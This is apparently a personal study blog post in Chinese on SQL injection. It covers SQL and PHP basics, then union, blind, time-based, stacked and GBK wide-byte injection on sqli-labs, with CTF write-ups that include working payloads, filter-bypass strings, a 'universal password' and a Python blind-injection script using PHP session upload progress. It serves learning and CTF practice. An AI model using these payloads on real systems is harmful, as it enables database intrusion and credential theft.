sql注入学习
sql了两天半,终于完成了这篇文章
SQL命令基础
一、sql命令的执行顺序
1、SQL案例:
select…distinct…count()…from…table_name…on…join…where…group by…having…order by…limit
2、SQL执行的顺序(操作中临时表不使用了会被回收)
from -> on -> join -> where -> group by -> count(聚合函数) -> having -> select -> distinct -> order by -> limit
二、sql命令语法
数据库
1、查看数据库 : show databases;
2、创建数据库 : create database test charset utf8;
3、删除数据库 : drop database test;
4、选择数据库 : use test;
表
1、创建表 :
create table test_table
(
id int,
name varchar(40),
sex char(4),
birthday date,
job varchar(100)
);
2、查询数据表的信息 : show full columns from test_table;
3、查询数据表所有列的内容 : select * from test_table
4、删除表 : drop table test_table;
5、重命名表 : rename table test_table to user;
6、插入数据 : insert into user
(
id,name,sex,birthday,job)
VALUES
(
1,'ctfstu','male','1999-05-01','IT');
再次select * from user;
7、为表增加一列 : alter table user add salary decimal(8,2); // 添加了salary这一列,最大是8位,小数点后可保留两位
8、修改所有的用户/行信息 : update user set salary=5000; // 设置所有列salary值为5000
再次查询:
9、用where限定某一行: update user set name='benben' where id=1 ; // 只将id=1的用户名字改为 benben
再查看整张表
10、删除某一列 : alter table user drop salary;
11、删除某一行 : delete from user where job='IT'; // 删除job='IT'的用户
12、删除某张表 : delete from user;
三、数据库查询
1、查询表中所有数据 : select * from users;
查询表中id为1的数据 : select * from users where id=1;
查询表中id为1或2或3或4的数据 : SELECT * FROM users WHERE id in (1,2,3,4); 或者这样查 :SELECT * FROM users WHERE id in (1,2,3,4);
2、子查询(嵌套查询)
select * from users where id=(select id from users where username=('admin')); // 优先查询括号内的,括号内查询的是id,括号外查询的id号是括号内查询的结果
3、union联合查询
select id from users union select email_id from emails; // 其实就是前面的查询与后面查询的行简单的堆起来
users表:
emails表 :
union查询的结果 :
union查询的一个大坑!!!: 前后union查询的列数一定得相等!!!
比如 select * from users where id=1 union select * from emils where id=1; 就会报错
解决方案 : 在列数少的查询语句中补列:
select * from users where id=1 union select *,3 from emails where id=1;
4、group by 分组查询
select username from users group by username; // 这里把username相同的分为了一组
表数据:
查询结果:
这里讲一个数据库高于5.7.5的group by 问题,参考 https://blog.csdn.net/u012660464/article/details/113977173
select username from users group by username; 是毫无疑问正确的,而 select id,password,username from users group by username; 在5.7.5一下的数据库版本不会报错,在5.7.5以上的版本会报错,因为sql_mode默认开启了only_full_group_by 属性,也就是说,如果select的字段不在group by中,并且select 的字段未使用聚合函数(SUM,AVG,MAX,MIN等)的话,那么这条sql查询是被mysql认为非法的,会报错误…
解决方案 :
方案一、使用ANY_VALUE函数:
select ANY_VALUE(id),ANY_VALUE(password),ANY_VALUE(username) from users group by username;
方案二、通过sql语句暂时性修改sql_mode
方案三、通过配置文件永久修改sql_mode
目前方案二与方案三用不到,暂不了解
group by后面直接跟数字的情况 : group by 1 是指按照第一列分组
以下面这张表为例,
select id from users group by 1; 就相当于select id from users group by id;
select ANY_VALUE(id),ANY_VALUE(password),ANY_VALUE(username) from users group by 2; 就是按照password分组
而如果执行 select ANY_VALUE(id),ANY_VALUE(password),ANY_VALUE(username) from users group by 4;就会报错,因为不存在第四列,故不能按第四列分组!!!
实战过程中我们可以使用这个trick来确定表的列数
5、order by 排序
给出一下表
select * from users order by 1; // 对第一列的信息进行排序,默认升序
select * from users order by 2; // 对第二列信息进行升序排序
同理,我们可以使用select * from users order by 4; 的报错来判断该数据库列数小于4
6、limit限制输出
select *from users limit 1,3 ; // 从第一行开始显示三行,注意是行!!!
7、or语句 (sql注入的判断)
select * from users where id=2 or username='benben'
8、GROUP_CONCAT (union 注入时尤为重要)
select GROUP_CONCAT(id,username, password) from users ; 功能就是多行变一行
如果页面回显只回显一行的话,我们就可以用这个方法
9、查询当前数据库的名字
select database();
10、查询当前数据库的版本
select version();
php---sql 函数基础
mysql_fetch_array函数
三个参数
这个函数有三个参数:
MYSQL_ASSOC:返回关联数组(数组的键是列名)。
MYSQL_NUM:返回数字索引数组(数组的键是列的数值索引)。
MYSQL_BOTH:默认值,返回关联和数字索引数组。
假设有这样一个表
1、MYSQL_ASSOC
我们使用
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result,MYSQL_ASSOC);
print_r($row);
得到的结果是这样的:
化简一下为:
返回关联数组---数组的键是列名
2、MYSQL_NUM
返回数字索引数组---数组的键是列的数值索引
3、MYSQL_BOTH
默认值,返回关联和数字索引数组。相当于关联数组与数字索引数组的结合
函数功能分析
在单独使用mysql_fetch_array函数时往往只能得到sql语句查询结果的第一行,而如果我们想查询到所有行,往往需要while循环配合函数使用
如图所示
mysqli_multi_query 函数
功能分析
适合堆叠sql注入攻击
如果没有使用这个 multi_query函数的话,单独查询语句中出现 ; 会报错的
GET提交与POST提交
两者的区别
-
host提交会显示在url中,post提交不会在url中显示
-
get提交有长度限制,最长为2048个字符,host提交无长度限制,不只可以使用ASCII字符,还可以使用二进制数据
-
这种叫做GET提交
这种叫做POST提交
-
可以通过burpsuit抓包的方法来判断是GET还是POST
-
GET注入时对于参数需要前加?,而post注入不需要,
session
看下面的 [PwnThyBytes 2019]Baby_SQL 中的session
include
include 表达式包含并运行指定文件。
举个例子:
test1.php:
<?php
echo $color;
echo $fruit;
?>
test2.php:
<?php
$color = 10;
$fruit = 20;
include 'test1.php';
echo "\n$color $fruit";
?>
执行test2.php:
也就是相当于把include 里面的代码直接搬过来执行一遍
@关键字
错误控制运算符
当将其放置在一个 PHP 表达式之前,该表达式可能产生的任何错误诊断都被抑制。
sql注入
1、使用and 1=1 与 and 1=2来判断是字符型注入还是数字型注入
字符型注入与数字型注入
一直没理解字符型与数字型啥意思,直到我看了看sqli-libs的源码
字符型 :Less-1 :
数字型 : Less-2
原来字符型与数字型取决于是否加了引号,事实上,sqli-libs的sql文件是的uses的id字段恒用int创建的:
也就是说,我们查询时用 where id=1 或 用 where id='1' 的效果是一样的!!!
下面,我们修改一下less-1的源码与less-2的源码,使其能回显出sql语句
分别进行 and 1=1操作,观察回显
字符型注入的less-1对应的sql语句是 SELECT * FROM users WHERE id='1 and 1=1' LIMIT 0,1
数字型注入的less-2对应的sql语句是 SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1
显然less-2的sql语句恒成立,而less-1的语句查询的id号为'1 and 1=1' 虽然没有准确查询,但不至于报错
再次分别进行and 1=2操作:
可以发现:
字符型注入的less-1对应的sql语句是 SELECT * FROM users WHERE id='1 and 1=2' LIMIT 0,1
数字型注入的less-2对应的sql语句是 SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1
很显然less-2的sql语句是语法错误的,故浏览器无法正常显示,而less-1的sql语句虽然查询操作上是错误的,但是其语法操作是正确的,故会有回显
以此,我们可以分辨出字符型注入与数字型注入
这里还有一个小trick就是,字符型的注入貌似会截取字符前的所有数字,比如 where id = '1 and ' 等价于 where id = '1' ,而where id = '11 and' 等价于 where id '11'
或者我们也可以直接 ?id=1' 看回显
''2'' LIMIT 0,1' 实际上是 ' '2'' LIMIT 0,1 ' ,显然最外圈的'是sql报错程序自动加的,内部的 '2' ' 是字符型注入造成的
2、注释符号
行间注释
看似--+ 是注释符,实则--才是注释符,+的作用是空格
类似于这样,一个--+直接把后面的LIMIT给注释掉了
行内注释
一般是 /* */
3、union联合注入与group_concat
union联合注入前要先判断列数,可以利用group by 或 order by 判断列数
?id=1' group by 4 --+ 查询
之后id=1' union select xxx --+ (这里的xxx可以实现很多功能)
另外如果查询限制查(或者说限制回显一行)一行,而且还没办法注释掉,那么我们就可以这样 : 之后id=-1' union select xxx ,查询id不存在的一行,再进行union查询
比如:
SELECT * FROM users WHERE id='-1' union select 1,2,DATABASE() -- ' LIMIT 0,1
可以查询到 数据库的名字
下面尝试获得表名
由于mysql数据库的information_schema 表记录了整个数据库的所有表名与列名
-
因此可以使用id=0' union select 1, table name,3 from information_schema.tables --+ 获取整个数据库的表
再用where 过滤 : id=0' union select 1, table_name,3 from information_schema.tables where table_schema='security' --+
-
但是这种操作需要回显很多行表项,但我们被限制只能回显一行表项怎么办?这时候就要用到 group_concat 函数了:
id=0' union select 1, group_concat (table_name),3 from information_schema.tables where table_schema='security' --+
之后尝试获得列名
- id=0' union select 1, 2,group_concat(column_name) from information_schema.columns --+
- 过滤: id=0' union select 1, 2,group_concat(column_name) from information_schema.columns where table_schema=databases() and table_name='users' --+
4、布尔盲注
less-8,我们可以看到布尔盲注是这样的:当我们输入的数据是正确的就会回显 1,错误的回显0
我们只能根据其两种回显的状态来猜数据库中的值
- 我们输入 ?id=-1' 没有回显,输入?id=1' 有回显
- 我们输入 ?id=1' and ascii('e')=101 有回显
- 我们输入 ?id=1' and ascii(substr( (select database()) ,1,1 ))=101 有回显说明数据库名称的第一个字符为 'e'
- 同理爆破第二个字母 : ?id=1' and ascii(substr( (select database()) ,2,1 ))=101
- 可以选择二分法提高效率
然后查询列名:
?id=1'and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))>100--+
之后是用户名:
?id=1' and ascii(substr((select username from users limit 0,1),1,1))>100--+
之后是密码:
?id=1' and ascii(substr((select password from users limit 0,1),1,1))>100--+
再举一个例子
我们的数据库名字为security
对比揣摩,前者的where语句恒为1,后者恒为0
5、时间盲注与if
关键就是使用sleep函数
less-9
9与8的源码一样
我们使用时间注入:
http://192.168.190.129/sql/Less-9/?id=1 and sleep(3) --+
http://192.168.190.129/sql/Less-9/?id=1' and sleep(3) --+
通过回显等待三秒可以看到该注入是字符型注入
原因是当前一个命令执行完之后才会执行sleep函数
而如果我们尝试 http://192.168.190.129/sql/Less-9/?id=111' and sleep(3) --+ // 注意,数据库中实际是没有id=111的项的
不会发生3秒的sleep,可以判断出该表中不存在id=1的项目,依此可推出: 前一命令正确=> sleep,前一命令错误 => 不sleep,据此,时间盲注实际上也是布尔盲注
爆破过程中每一个命令执行成功都会sleep
我们可以通过if判断来使命令失败sleep,成功不sleep
select if(1=1,sleep(0),sleep(3))
如果1=1的话,就sleep(0),否则sleep(3),类似于三目运算符
6、堆叠注入
堆叠注入(Stacked injections), 从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。
less-38
注意看源码,之前的关卡都是使用 mysql_query 进行查询,现在是使用 mysqli_multi_query 进行查询
mysqli_multi_query 函数的功能 : mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。
构造
?id=0' union select 1,user(),database(); insert into users(username,password) values('stack', 'stack')%23 直接打
看一眼就明白
或者这样注入:
http://192.168.190.129/sql/Less-38/?id=0' ; select 1,user(),database(); insert into users(id,username,password) values('20','stackk', 'stack') --+
三条语句都会正常执行
或者直接用group_concat 爆出 table_name
http://192.168.190.129/sql/Less-39/?id=0 union select 1, group_concat(table_name),3 from information_schema.tables where table_schema='security' #
7、宽字节绕过注入
用于对抗addslashes()函数
该函数在指定的预定义字符前添加反斜杠。这些字符是单引号(')、双引号(")、反斜线(\)与NUL(NULL字符)。
less-32
看一下源码
功能其实就相当于 addslashes()函数,它会把所有'、"前面加上 /
绕过方式:
-
首先数据库必须得是GBKB编码
-
输入 %df' , 本来会转义单引号为 \' 但\(%5c)的编码为92,%df的编码为223,%df%5c符合GBK的取值范围,会被解析成一个文字,这样的话,\ 就失去了其原来的作用
-
例子
我们注入http://192.168.190.129/sql/Less-32/?id=-1%df' union select 1,2,3 --+ ,此时addslashes() 函数会把 %df' 变为 %df\' ,而%df\ 正好是 %df5c 在gbk编码里为一个汉字,故 %df\直接被解析成汉字 運,原注入变为 :
http://192.168.190.129/sql/Less-32/?id=-1�運' union select 1,2,3 --+ ,显然在联合注入中前一个不满足,后一个union满足,数据库就会把后面的内容返回出来,依此达到目的
1%df' --
常用函数
user():当前数据库用户
database():当前数据库名
version():当前使用的数据库版本
@@datadir:数据库存储数据路径
concat():联合数据,用于联合两条数据结果。如 concat(username,0x3a,password)
group_concat():和 concat() 类似,如 group_concat(DISTINCT+user,0x3a,password),用于把多条数据一次注入出来
concat_ws():用法类似
hex() 和 unhex():用于 hex 编码解码
load_file():以文本方式读取文件,在 Windows 中,路径设置为 \\
select xxoo into outfile '路径':权限较高时可直接写文件
sql注入的绕过
1、绕过引号 的限制
-- hex 编码
SELECT * FROM Users WHERE username = 0x61646D696E
-- char() 函数
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)
2、绕过字符串黑名单
SELECT 'a' 'd' 'mi' 'n';
SELECT CONCAT('a', 'd', 'm', 'i', 'n');
SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');
SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');s
使用 CONCAT()
时,任何个参数为 null,将返回 null,推荐使用 CONCAT_WS()
。CONCAT_WS()
函数第一个参数表示用哪个字符间隔所查询的结果。
实战
[强网杯 2019]随便注
先判断是什么注入类型
1' and 1=1 --+
1' and 1=2 --+
1 and 1=1 --+
1 and 1=2 --+
可以发现后两者回显
判断出是字符型注入
判断是单引号还是双引号
(具体方法看trick第一条)
直接 1'" --+
再 1"' --+
再 1"' --
产生了回显,由此可以判断是单引号闭合
查询列数
使用 group by 查询
1' group by 3 -- //注意一定要在-- 后面加一个空格
当查询到3的时候报错,判断出列数为2
判断回显位置
显然这两处能看到回显
联合查询
1' union select 1,2 --
发现被过滤了select操作,不好操作
堆叠注入
但是由于select函数被限制了
我们用不了,user(),database()这些函数,因为这些函数依赖于select显示出来
我们就用最原始的sql语句来操作
1' ; show databases;
1';show tables; --
再用show columns from tableName命令或 desc tableName 查看列名
注意,如果tableName是纯数字,需要用包裹
,比如1';desc `1919810931114514`; --
可以发现 1919810931114514 表明中存在flag字段
剩下最关键的一步就是取出来,怎么取呢?
被限制select 查看数据库表项的手段
直接抄作业
1、预编译
1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;
2、预编译+16进制编码
我们可以直接将select * from `1919810931114514`语句进行16进制编码,即:73656c656374202a2066726f6d20603139313938313039333131313435313460,替换payload:
1';PREPARE hacker from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE hacker;#
同时,我们也可以先定义一个变量并将sql语句初始化,然后调用
1';Set @jia = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @jia;EXECUTE hacker;#
1';Set @jia = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @jia;EXECUTE hacker;#
3、alter
可以通过修改表名和列名来实现。
我们输入1后,默认会显示id为1的数据,可以猜测默认显示的是words表的数据,查看words表结构第一个字段名为id我们把words表随便改成words1,然后把1919810931114514表改成words,再把列名flag改成id,就可以达到直接输出flag字段的值的效果:
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
然后通过1' or 1 = 1 #
成功获取到flag
4、handle
0';HANDLER `1919810931114514` OPEN ; HANDLER `1919810931114514` READ FIRST; HANDLER `1919810931114514` CLOSE; --
[SUCTF 2019]EasySQL
解法
可以堆叠注入,但没打出来,直接抄答案
https://www.cnblogs.com/Junglezt/p/16657688.html
要猜测到后台的判断语句是
select $_POST['query'] || ‘flag’ from Flag;
以此构造payload:
方法一、1;select *,1 // => select *,1 || flag from Flag
方法二、1;set sql_mode=pipes_as_concat;select 1 // select concat(1,flag) from Flag;
解析---解法一
在mysql数据库中 || 的功能是or
因此 1 || flag 相当于恒成立,也就是1,所以 1 || 'flag' <=> 1 ,设x为任意大小数字 x || 'flag' <=>1 ,如果我们要输入字符,那么就不得不输入引号,不然会报错,这也是为什么我们直接输入字符没有回显的原因
这也是我们为什么不管输入的数据有多大,都会产生回显(因为恒为1嘛)
那么我们就构造两个列 SELECT *, 1433223 || 'flag' from Flag 即 *,1秒了
解析---解法二
一个关键的MySQL配置sql_mod,SQL_MOD:是MySQL支持的基本语法、校验规则
其中PIPES_AS_CONCAT:会将||认为字符串的连接符,而不是或运算符,这时||符号就像concat函数一样。
直接 1;set sql_mode=pipes_as_concat;select 1 秒了
感觉这个方法取巧了,就是在赌 || 后面的字符串是 'flag;
[极客大挑战 2019]LoveSQL
常规做法
账号与密码都输入 1' and 1=1 和输入1" and 1=1 可以判断出这俩都是字符型注入(1" 被吞了)
语句应该是这样的 : select * from users where username='$username' and password='$password';
同时 1' order by 3 # 可以判断出列数为3
union 联合查询
1' union select 1,user(),database() #
可以得到 user为 root@localhost ,database() 为 geek
再次联合查询
id=1' union select 1, group_concat(table_name),3 from information_schema.tables where table_schema='geek' #
得到表名有geekuser,l0ve1ysq1两个
再次联合查询
id=1' union select 1, 2,group_concat(column_name) from information_schema.columns where table_schema='geek' and table_name='geekuser' #
得到列项有 id、username、password
再次联合
id=1' union select 1,2,group_concat(id,username,password) from geekuser #
id=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1 #
得到flag:flag{0e50acb2-36ec-453a-a17e-322948a44c5b}
万能密码法
admin' or '1'='1
1
之后再正常操作就行了
[极客大挑战 2019]BabySQL
常规 1' and 1=1 判断字符型还是数字型,经过判断发现是字符型并且服务器对一些关键字进行了过滤:
比如 anandd 过滤成 and,uniunionon 过滤成union
这个过滤的限制,我们可以轻松过掉
经过测试,至少这些关键字是被限制的 : or、and、by、union、select、from、where
直接对下面的五件套进行修改绕过即可
1---爆列数、 1' order by 3 #
2---爆数据库、 1' union select 1,user(),database() #
3---爆表名、 1' union select 1, group_concat(table_name),3 from information_schema.tables where table_schema='geek' #
4---爆列名、 1' union select 1, 2,group_concat(column_name) from information_schema.columns where table_schema='geek' and table_name='geekuser' #
5---爆项、 1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1 #
1' oorrder bbyy 4#
1' uniunionon seselectlect 1,user(),database() #
1' ununionion selselectect 1, group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema='geek' #
1' ununionion selselectect 1, 2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema='geek' aandnd table_name='geekuser' #
1' ununionion selselectect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql #
1、注入出列数
1' oorrder bbyy 4#
显然是三列
2、爆数据库
1' uniunionon seselectlect 1,user(),database() #
3、爆表名
1' ununionion selselectect 1, group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema='geek' #
4、爆列名
1' ununionion selselectect 1, 2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema='geek' aandnd table_name='geekuser' #
5、爆项
1' ununionion selselectect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql #
flag为 : flag{54c1b070-6e9f-45a9-ac57-6d449b7f2747}
拿下!
[PwnThyBytes 2019]Baby_SQL
看源码、起docker、学习docker命令、修改php源码、配置php环境、学习php基础命令、宽字符绕过、union注入、堆叠注入,经过长达n个小时的注入,还是没有思路,遂看了看wp
发现我一直遗漏了一个东西---session
https://xz.aliyun.com/t/9545#toc-9
看了wp的思路就是先绕过seesion 再 盲注爆破出flag,以后有机会再看吧,感觉得补一补web的其他知识不管了,1点了,睡醒了再说,明天得继续赶rCore了
session
抄会儿作业,参考: https://blog.csdn.net/sm20170867238/article/details/90745969
session在Web编程中Session代表服务器与客户端之间的“会话”,意思是服务器与客户端在不断的交流。
在PHP中,使用$_SESSION[]可以存储特定用户的Session信息。并且每个用户的Session信息都是不同的。
1、session_start()
开启/恢复Session功能,举一个简单的例子
index.php可以初始化 session,login.php具有session_start() 函数,而register.php不具有session_start函数,且login.php与register.php都有session验证(只要存在session就可以访问)
那么,当我们通过index.php获取session后是不能直接访问rigister.php的,却能直接访问login.php,因为login.php开头调用了session_start()函数,会话被延续至login.php
2、session_id();
获取用户Session ID值,如需修改在括号中传值即可
3、利用Session变量存储信息
$_SESSION["Session名称"]=变量或字符串信息;
4、读取Session变量信息
变量=$_SESSION["Session名称"];
5、session删除
session_unset(); //删除$_SESSION中所有session变量
session_destroy();//清除Session ID
(1)session_unset函数只能删除$_SESSION[]中的所有元素,不能删除对应的Session ID,也不能删除保存Session ID的文件。
(2)session_destroy函数只能删除Session ID,并销毁Session文件,但是不能删除$_SESSION[]中的所有元素。
(3)unset()方法也可以删除单个Session变量。
6、设置session生命
ini_set('session_save_path','/tmp/');//设置保存路径
ini_set('session.gc_maxlifetime',60);//保存1分钟
setcookie(session_name(),session_id(),time()+6,"/");//设置会话cookie的过期时间
(1)关闭浏览器不会使一个Session结束,但会使这个Session永远无法访问。因为当用户打开新的浏览器窗口又会产生一个新的Session。
(2)Session对象不是一直有效,默认有效期为24分钟。
(3)增加Session的有效期会导致Web服务器保存用户Session的信息的时间增长,如果访问的用户很多,会加重服务器负担。
(4)不能单独对某个用户的Session设置有效期。
7、说明
(1)、使用Session前都需要在页面开头用session_start()方法开启Session功能。
(2)、session_start()函数前不能有任何代码输出到浏览器,最好加在页面头部,或者先用ob_start()函数打开输出缓冲区。
(3)、对于一个不存在的Session变量赋值,将自动创建该变量;给一个已经存在的Session变量赋值,将修改其中的值。
(4)、如果新打开一个浏览器,则无法获取之前保存的Session信息。因为新打开一个浏览器相当于一个新的用户在访问。
(5)、只要创建了Session变量,该Session变量就能被网站中所有页面访问。
(6)、最好不要把大量的信息存入Session变量中,或者创建很大Session变量。如果Session变量保存的信息太多,同时访问网站的用户又很多会非常占用服务器资源。
8、使用session限制未登入用户访问
上代码
//login.php
<html>
<head>
<title>登入</title>
</head>
<body>
<?php
session_start();
if(!isset($_POST["login"])){
echo '
<form action="#" method="post">
<p>帐号:<input type="text" name="name"/></p>
<p>密码:<input type="password" name="pw"/></p>
<p><input type="submit" name="login" value="登入"/>
</form> ';
}
else{
$name=$_POST["name"];
$pw=$_POST["pw"];
if($name=="admin"&&$pw==123456)
{
$_SESSION["name"]=$name; // 直接为$_SESSION 赋值
$_SESSION["pw"]=$pw; // 直接为$_SESSION 赋值
echo '登入成功,<a href="test.php">查看个人信息</a>';
}
else{
echo '帐号或密码错误!<a href="JavaScript:history.back()">返回登入</a>';
}
}
?>
</body>
</html>
//logout.php
<?php
if($_GET['action']=="logout"){
header('Refresh:3; url="login.php"');
session_start();
setcookie("cookiename", NULL);
session_unset();
session_destroy();
echo "三秒后返回登入页面";
}
?>
//test.php
<?php
session_start(); // 如果不加这个session_start函数,test.php无论如何都是不能被访问的
if(isset($_SESSION['name'])){
echo "帐户信息:<br/>";
echo "用户名:".$_SESSION["name"]."<br/>";
echo "密码:".$_SESSION["pw"]."<br/>";
echo '<a href="logout.php?action=logout">注销</a>';
}else{
echo '未登入用户不允许访问,<a href="login.php">请登入</a>';
}
?>
代码中就是通过session从而让用户不能直接访问test.php,而只能先通过login.php登录成功再访问test.php
作者在test.php开头直接session_start() 后检查有无$_SESSION['name'] 字段,而这个字段只有当用户在login.php中登录成功后才会被赋值
也就是说用户必须先登录成功,才能范文test.php,不然直接访问test.php是会报错的: 未登入用户不允许访问,<a href="login.php">请登入
与session有关的php选项
1、session.auto_start
:如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start(); (ps: 我们知道,如果session_start()一直是开启的话就可以绕过session限制) 但默认情况下,也是通常情况下,这个选项都是默认关闭的。
2、session.upload_progress.cleanup = on
:表示当文件上传结束后,php将会立即清空对应session文件中的内容。该选项默认开启,
3、session.use_strict_mode
:默认情况下,该选项的值是0,此时用户可以自己定义Session ID。
4、Session Upload Progress
Session Upload Progress 即 Session 上传进度,是php>=5.4后开始添加的一个特性。官网对他的描述是当 session.upload_progress.enabled
选项开启时(默认开启),PHP 能够在每一个文件上传时 监测上传进度
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在 $_SESSION
中获得。 当PHP检测到这种POST请求时,它会在 $_SESSION
中添加一组数据,索引是 session.upload_progress.prefix 与 session.upload_progress.name 连接在一起的值。
Session Upload Progress 最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中,此时即使用户没有初始化Session,PHP也会自动初始化Session。而且,默认情况下session.upload_progress.enabled是为On的,也就是说这个特性默认开启。所以,我们可以通过这个特性来在目标主机上初始化Session。
wp思路
首先阅读源码,可以发现对index.php的限制有 addslashes() ,对register.php的限制有 admin字符限制、username长度限制、字符与数字限制(只能是字符与数字),而对login.php的限制只有 _SESSION 限制,由于index.php的sql查询其实也是执行login.php与register.php的函数并且login.php的限制比rigister.php的限制小很多,那我们能不能绕过index.php直接对login.php进行sql注入呢
1、绕过session限制
很显然,通过阅读源码,可以发现login.php与register.php的访问被限制了,由于session限制与没有session_start()函数的缘故,我们不可能直接访问到这两个文件,并且index.php对login.php与register.php的访问也只是通过include关键字实现的
那我们无法访问得到login.php与register.php 两个页面,该如何实现注入呢,由于php的版本是大于5.4的我们可以通过Session Upload Progress 来自动初始化Session,从而等价于调用 自动初始化Session 函数的功能
2、sql盲注
需要注意的是,必须携带文件,即填充post函数的file字段
import requests
import io
import time
# url = 'http://192.168.190.128:6385/templates/login.php'
url = 'http://98401be7-cec6-49e3-971c-81b114b04968.node5.buuoj.cn:81/templates/login.php'
flag = ""
f = io.BytesIO(b'a' * 1024 * 50)
file = {"file": ('q.txt', f)}
cookie = {"PHPSESSID": "tlsn"}
data = {"PHP_SESSION_UPLOAD_PROGRESS": "123456"}
start = time.time
for idx in range(1,100):
l=32;r=128
while r > l:
mid = l + r >> 1
payload = f'?username=tlsn" or (ascii(substr((SELECT secret from flag_tbl),{idx},1)) > {mid}) -- ';
Rurl = url + payload
res = requests.post(url=Rurl, data=data, files=file, cookies=cookie)
if 'meta' in res.text:
l = mid+1
else:
r = mid
flag += chr(l)
print(flag)
if chr(l) == "}":
break;
print(flag)
end=time.time
print(end-start)
不知道为啥打不全flag,甚至每次打得到的结果都不一样,我在网上用了别人的脚本打也是这样,离谱
这下看不懂了
直接起docker打得了:
埋坑与填坑
我用bp或hackbar无论如何也构造不出python脚本这样的流量包
import requests
import io
url = 'http://192.168.190.128:6385/templates/login.php'
flag = ""
f = io.BytesIO(b'a' * 1024 * 50)
file = {"file": ('q.txt', f)}
cookie = {"PHPSESSID": "tlsn"}
data = {"PHP_SESSION_UPLOAD_PROGRESS": "123456"}
# payload = "test\" or (ascii(substr((select secret from flag_tbl),%d,1))>%d)#" %(1,1)
payload = "admin"
params = {
"username": payload,
"password": "123456"
}
res = requests.post(url=url, params=params, data=data, files=file, cookies=cookie)
print(res.text)
只有脚本才能打通...
------------------------------------ 几个小时之后找到了解决方法-------------------------------------------
对于bp来说:
这是一种multipart/form-data请求请求体的格式,具体看下面博客
https://blog.csdn.net/dreamerrrrrr/article/details/111146763
我们需要加入boundary,但是也不慌,直接wireshark抓包,再直接copy过来即可,简单粗暴
至于hackbar,还没弄明白,估计也是这个原因吧
----------------------------------- 又过了n个小时HackBar的问题也解决了----------------------------------------------
先上图
对应流量包
之前在firefox上用的低版本HackBar,一堆毛病,经常点击execute后就没反应了,高版本的HackBar又得付费,nmbd
在github上找到了一个开源的hackbar插件:
https://github.com/0140454/hackbar
直接支持 multipart/from-data模式,嘎嘎好用
展望
后面可以学一下这些:
四种常见的 POST 提交数据方式:https://imququ.com/post/four-ways-to-post-data-in-http.html
谈谈form-data请求格式:https://www.cnblogs.com/wonyun/p/7966967.html
Multipart/form-data POST文件上传详解:https://blog.csdn.net/xiaojianpitt/article/details/6856536
POST之multipart/form-data请求:https://www.jianshu.com/p/0023bb7afddb
一些 trick
一、--+ 的trick
本来 + 的作用就是通过url解码,得到空格,但有时候在sql注入的时候并不会对 + 进行url 解码,比如
[强网杯 2019]随便注 这道题目:
这样的话, + 反而成了累赘
不过我们可以观察url的变化来判断出是否 --+ 经过了url解码,还是说直接被作为了字符串传入了sql解析器中
另外如果--+ 没有经过url解码的话,它被传入sql解析器的时候类似这样
当它被sql语句的引号包裹时,就只是单纯的作为字符串,而若它没有被引号包裹的话,就可以做注释符,不过需要把 + 换成空格(而且如果不经过url解码的话,直接在后面加空格就行了)
这样就完美注释了
我们可以凭此来构造'" 与"' 来判断是单引号闭合还是双引号闭合
比如 : '" --+
此时的 --+ 再 " 的作用范围,故运行报错:
"' --+ :
此时的--+ 不再任何引号作用范围内,故,如果我们吧+换成空格就能正常执行,看到回显
二、select被限制的情况下读取表数据的手段
select被限制同时意味着 database()、user()函数等一系列函数使用不了
但其实这些语句都可以通过最原始的sql语句来代替,比如show databases; 查看数据库 show tables查看表名 show columns from tableName命令或 desc tableName 查看列名
1.预编译
预编译相当于定一个语句相同,参数不通的Mysql模板,我们可以通过预编译的方式,绕过特定的字符过滤
格式:
PREPARE 名称 FROM Sql语句 ? ;
SET @x=xx;
EXECUTE 名称 USING @x;
举例:查询ID为1的用户:
方法一:
SElECT * FROM t_user WHERE USER_ID = 1
方法二:
PREPARE jia FROM 'SElECT * FROM t_user WHERE USER_ID = 1';
EXECUTE jia;
方法三:
PREPARE jia FROM 'SELECT * FROM t_user WHERE USER_ID = ?';
SET @ID = 1;
EXECUTE jia USING @ID;
方法四:
SET @SQL='SElECT * FROM t_user WHERE USER_ID = 1';
PREPARE jia FROM @SQL;
EXECUTE jia;
2. 更改表名
- 修改表名:
ALTER TABLE 旧表名 RENAME TO 新表名;
- 修改字段:
ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;
3. handle
- handle不是通用的SQL语句,是Mysql特有的,可以逐行浏览某个表中的数据,格式:
打开表:
HANDLER 表名 OPEN ;
查看数据:
HANDLER 表名 READ next;
关闭表:
HANDLER 表名 READ CLOSE;
三、sql万能密码以及原理
admin' or '1'='1 // 这里的功能就是如果真的有admin账号,那么就能用
原理:
目标后台是这样的: SELECT * FROM users WHERE username = '$username' AND password = '$password'
